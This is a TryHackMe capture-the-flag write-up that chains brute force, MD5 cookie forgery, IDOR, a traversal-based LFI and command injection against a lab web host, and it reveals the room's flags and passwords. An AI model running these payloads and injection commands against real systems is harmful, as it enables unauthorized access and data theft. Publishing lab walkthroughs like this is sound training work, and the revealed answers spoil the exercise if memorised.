Table of Contents
Support - TryHackMe CTF Write-Up #
🏴 Platform: TryHackMe
🔬 Category: Web (Jr Penetration Tester capstone)
🟠 Difficulty: Medium
📅 Date: 2026-06-16
✍️ Author: t0nt0n
⏱️ Reading time: ~5 min
The "Support Operations Platform" room is the capstone of the THM Jr Penetration Tester web path. It chains five distinct flaws, each one unlocking the next: broken authentication, session cookie tampering, IDOR, a constrained LFI, and finally command injection for RCE. This write-up follows that chain end to end.
Reconnaissance #
Two services exposed:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache/2.4.58 (Ubuntu)
The web root is an "Employee Authentication" login (email + password, POST to
itself). Content discovery with ffuf:
1ffuf -u http://10.129.169.189/FUZZ \
2 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
3 -e .php -mc 200,301,302,401,403
Findings: api.php, config.php, info.php, dashboard.php, footer.php,
logout.php, and the directories includes/ and skins/ with directory
listing enabled. api.php and dashboard.php both 302 to index.php (auth
gate). info.php is a full phpinfo() page:
disable_functionsempty (no restrictions onsystem/exec)file_uploads = Onallow_url_include = Off(no RFI)
The footer has a theme selector linking to ?skin=blue|red|green|default, and
includes/skin.php is what consumes it. That smelled like file inclusion from
the start.
Rabbit Holes #
Everything below was tested and led nowhere. Documenting it is half the value.
- SQLi on the login. Manual payloads (
' OR 1=1-- -, etc.) all returnedInvalid credentials.sqlmap -p email --level 3 --risk 2flagged it as not injectable. The login is not SQL-backed in an injectable way. - Trust-boundary header spoofing.
X-Forwarded-For: 127.0.0.1,X-Real-IP,Client-IP,Host: localhostagainstapi.phpanddashboard.php: all still 302 toindex.php. No localhost trust shortcut. - Cookie bypass pre-auth. Sending
logged_in=true,admin=true,role=admintodashboard.phpbefore any login: ignored, still 302. The right cookie name only exists after a valid login (see below). - Username enumeration on the login. Same wrong password against
admin@,help@,nobody@,random@: identical 2677-byte responses, same message. The login does not leak account validity. The valid target came from the page itself: the placeholder/contacthelp@support.thm. - LFI wrappers and raw file reads. The inclusion is
include("skins/" . $_GET['skin'] . ".php"). Theskins/prefix killsphp://filteranddata://wrappers (they becomeskins/php://...), and the.phpsuffix blocks raw reads (../../etc/passwdbecomes...passwd.php). Null byte (%00) is dead on PHP 7+. The LFI is real but constrained to including existing.phpfiles via traversal.
Exploitation #
1. Broken auth: brute the helpdesk account #
No enumeration, but help@support.thm is named on the page and the login has no
rate limiting. ffuf, filtering out the failure string:
1ffuf -w /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt:W2 \
2 -u http://10.129.169.189/index.php -X POST \
3 -H "Content-Type: application/x-www-form-urlencoded" \
4 -d "email=help@support.thm&password=W2" \
5 -fr "Invalid credentials"
Reveal helpdesk password
snoopy
2. Cookie tampering: MD5 of a boolean #
Login sets a second cookie:
isITUser=68934a3e9455fa72420237eb05902327
That is md5("false"). Recompute md5("true") and replace it:
1echo -n true | md5sum # b326b5062b2f0e69046810717534cb09
Reloading the dashboard with isITUser=b326b5062b2f0e69046810717534cb09 reveals
the IT Admin Panel linking to api.php.
3. IDOR on the internal user API #
api.php exposes GET /user/{id} (routed via PATH_INFO). Enumerating IDs
($CK holds the authenticated cookies, i.e. the helpdesk PHPSESSID plus the
tampered isITUser=md5("true")):
1CK="PHPSESSID=<session-from-login>; isITUser=b326b5062b2f0e69046810717534cb09"
2for i in $(seq 0 5); do curl -s -b "$CK" http://10.129.169.189/user/$i; done
1user/1 -> {"email":"specialadmin@support.thm","2FA":false,"admin":true}
2user/2 -> {"email":"IT@support.thm","2FA":false,"admin":false}
3user/3 -> {"email":"help@support.thm","2FA":false,"admin":false}
The real admin is specialadmin@support.thm. The API is read-only (all HTTP
methods return the same object), so no mass assignment, just disclosure.
4. Constrained LFI to leak the master password #
The skin parameter cannot read raw files, but it can include any .php file
by traversal. ?skin=../config includes config.php, whose source is rendered
because of a malformed PHP block:
1curl -s -b "$CK" "http://10.129.169.189/dashboard.php?skin=../config"
1$MASTER_PASSWORD = 'support@110';
The admin login only succeeds with the @ removed (the server strips the
special character before comparison), so the working credential is
specialadmin@support.thm : support110. That login yields the admin flag.
Yes. The whole "sanitization" is stripping the
@. That is the security control.

Task failed successfully.
Reveal admin flag
THM{I_AM_ADMIN999}
5. Command injection to RCE #
As admin, api.php shows a Time widget: a sys POST parameter passed straight
to a shell (date / date +"%H:%M:%S"). Trivially injectable:
1curl -s -b "$CK" http://10.129.169.189/api.php \
2 --data-urlencode 'sys=date; id'
3# uid=33(www-data) gid=33(www-data) groups=33(www-data)
No reverse shell needed to grab the user flag:
1curl -s -b "$CK" http://10.129.169.189/api.php \
2 --data-urlencode 'sys=date; cat /home/ubuntu/user.txt'
Flag #
Reveal admin flag
THM{I_AM_ADMIN999}
Reveal user.txt flag
THM{GOT_THE_FLAG001}
Tools Used #
nmap- port and service discoveryffuf- content discovery, vhost check, and password brute forcesqlmap- ruling out SQLi on the logincurl+md5sum- cookie tampering, IDOR enumeration, LFI, command injection
Lessons Learned #
- A login that does not enumerate is not a dead end: the valid target was sitting
in the page as a contact placeholder (
help@support.thm). isITUser=md5("false")is a textbook insecure cookie: the auth decision is client-side and unsigned, so flipping it tomd5("true")is enough.- A "limited" LFI is still dangerous. A
skins/prefix and.phpsuffix kill wrappers and raw reads, but traversal to an existing.phpstill leaks source. - IDOR is often pure disclosure (read-only here), yet it handed over the exact admin identity needed to pivot.
- Always read the source you can reach:
config.phpheld the master password in cleartext, and the quirky@-stripping was only obvious from testing.